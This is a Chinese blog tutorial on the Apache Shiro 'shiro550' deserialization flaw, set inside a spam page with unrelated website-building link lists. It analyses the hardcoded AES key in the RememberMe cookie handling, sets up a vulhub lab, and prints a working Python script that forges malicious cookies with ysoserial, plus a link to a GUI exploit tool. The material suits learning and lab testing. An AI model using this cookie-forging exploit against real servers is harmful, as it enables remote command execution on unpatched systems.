当前位置: 首页 > news >正文

北京网站建设咨询公司网站建设服务器选择

北京网站建设咨询公司,网站建设服务器选择,衡水wap网站建设价格,安微省建设庁官方网站//发点去年存货 前言 apache shiro是一个java安全框架,作用是提供身份验证,Apache Shiro框架提供了一个Rememberme的功能,存储在cookie里面的Key里面,攻击者可以使用Shiro的默认密钥构造恶意序列化对象进行编码来伪造用户的 Cookie&#xf…

//发点去年存货

前言

apache shiro是一个java安全框架,作用是提供身份验证,Apache Shiro框架提供了一个Rememberme的功能,存储在cookie里面的Key里面,攻击者可以使用Shiro的默认密钥构造恶意序列化对象进行编码来伪造用户的 Cookie,服务端反序列化时触发漏洞,从而执行命令。
影响版本如下:

Apache shiro <= 1.2.4

下面我们展开来讲讲该漏洞是如何利用的。

利用

在服务器接受带有shiro框架的服务请求时,cookie会经过以下几个步骤:

1.服务器会先检索RememberMe cookie的值
2.之后进行base64解码
3.接着使用aes解码
4.最后进行反序列化操作

其中AES加密cookie的值时利用的是加密密钥硬编码,也就是说有一定几率的可以进行破解,因此可能存在伪造cookie来进行恶意反序列化的攻击。
下面我们具体分析一下,先看org/apache/shiro/mgt/DefaultSecurityManager.java:
里面有一个方法叫getRememberedSerializedIdentity ,简单看一下就是:
在这里插入图片描述可以看到里面获取了请求的cookie值再进行了base64编码,于是我们接着看谁调用了它,于是找到了getRememberedPrincipals

在这里插入图片描述将解码后信息放进了一个数组里,然后使用了这个名为convertbytestoprincipals方法去处理,继续跟进了,发现该方法对信息进行了decrypt解密,继续跟进一下:

protected byte[] decrypt(byte[] encrypted) {byte[] serialized = encrypted;CipherService cipherService = getCipherService();if (cipherService != null) {ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());serialized = byteSource.getBytes();}return serialized;
}

可以看到这是一个获取加密再进行解密的过程,我们跟进getDecryptionCipherKey() ,根据返回值一直跟进到setCipherKey ,发现:

setCipherKey(DEFAULT_CIPHER_KEY_BYTES);

我们找到了这个固定的加密的key:

在这里插入图片描述那我们如何进行反序列化呢,这里需要回到convertbytestoprincipals:

在这里插入图片描述跟进deserialize,发现了两个实现方法,而且都是调用的原生readobject:

在这里插入图片描述

实例

这里以一个例题为例,我们先搭建个靶机:

cd /vulhub/shiro/CVE-2016-4437
docker-compose up -d

进入靶机的页面就是一个带有记住功能的登陆页面:

在这里插入图片描述抓包后改cookie值发现返回了以下数据,rememberme=deleteme,也就说明可能存在漏洞:

在这里插入图片描述这里贴一个基于YSOSERIAL反序列化工具的python脚本:

# -*- coding: utf-8 -*-
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") # 替换密钥iv = uuid.uuid4().bytesencryptor = AES.new(key, AES.MODE_CBC, iv)file_body = pad(popen.stdout.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertext
if __name__ == '__main__':payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())

生成后替换cookie即可,当然也有图形化页面的攻击方法:

项目地址:https://github.com/feihong-cs/ShiroExploit-Deprecated

页面如下,输入要检测的ip地址设置攻击方法即可,非常方便:

在这里插入图片描述选择检测方式后会进行检测,如果出现find valid gadget就说明可以利用,我们就可以从工具上输入我们要执行的漏洞了。

结语

简单带大家总结了一下shiro550反序列化漏洞,不知道大家学习的怎么样了,简单来看shiro框架命令执行的的执行流程可以简单概括为:命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值,我们根据上面源码的分析以及它硬编码的特性,便可以进行攻击,当然这只是最简单的利用,我们也可以结合其他利用链来构造攻击链接,有兴趣的小伙伴可以自己去尝试一下。

http://www.yayakq.cn/news/682786/

相关文章:

  • 网站预算网站开发也需要源码吗
  • 温州知名网站推广甘肃省建筑工程建设监理公司网站
  • 高端的咨询行业网站制作外贸必备的app
  • 南京学网站建设千锋教育学费
  • 怎么做万网网站东营公共资源交易网
  • 个人网站引导页源码wordpress链接分类目录是什么意思
  • 建设银联官方网站网站的关键词库怎么做
  • 网站搭建文案seo网络营销教程
  • 创立网站做电商广东省建设厅网站首页
  • 买了winhost网站空间在哪里登陆网站建设可以作为无形资产吗
  • 河南省建设工程质监总站网站vi设计理念和设计思路
  • 网站公司建设重庆搜索引擎优化seo
  • 品牌网站制作建设农林牧渔行业网站建设
  • 做网站建设公司crm在线硅云买域名做网站
  • 建站工具 开源wordpress 自定义字段 调用
  • 免费的行情软件网站不下载甘肃省住房和城乡建设厅注册中心网站首页
  • 网站建设电话销售话术实例福州建设人才市场网站
  • 做胃肠医院网站网络公司网站案例
  • 自己做网站推广关键词镇江网站建设策划
  • 高端企业网站建站程序推广赚钱项目话术
  • 网站建设洪塔学校网页制作视频教程
  • 点击网站出现微信二维码的链接怎么做优质聊城做网站费用
  • 三合一网站制作价格wordpress 百度提交
  • 北京网站制作的代账公司网站模板
  • wordpress 公共库博爱seo排名优化培训
  • 大连零基础网站建设培训班海淀专业企业网站建设
  • 新网站怎么快速收录搜索引擎网站推广怎么做
  • 青岛响应式网站wordpress 免费电商主题
  • 做网店装修的网站有哪些怀宁县住房和建设局网站
  • 宁波专业制作网站外贸网站个性设计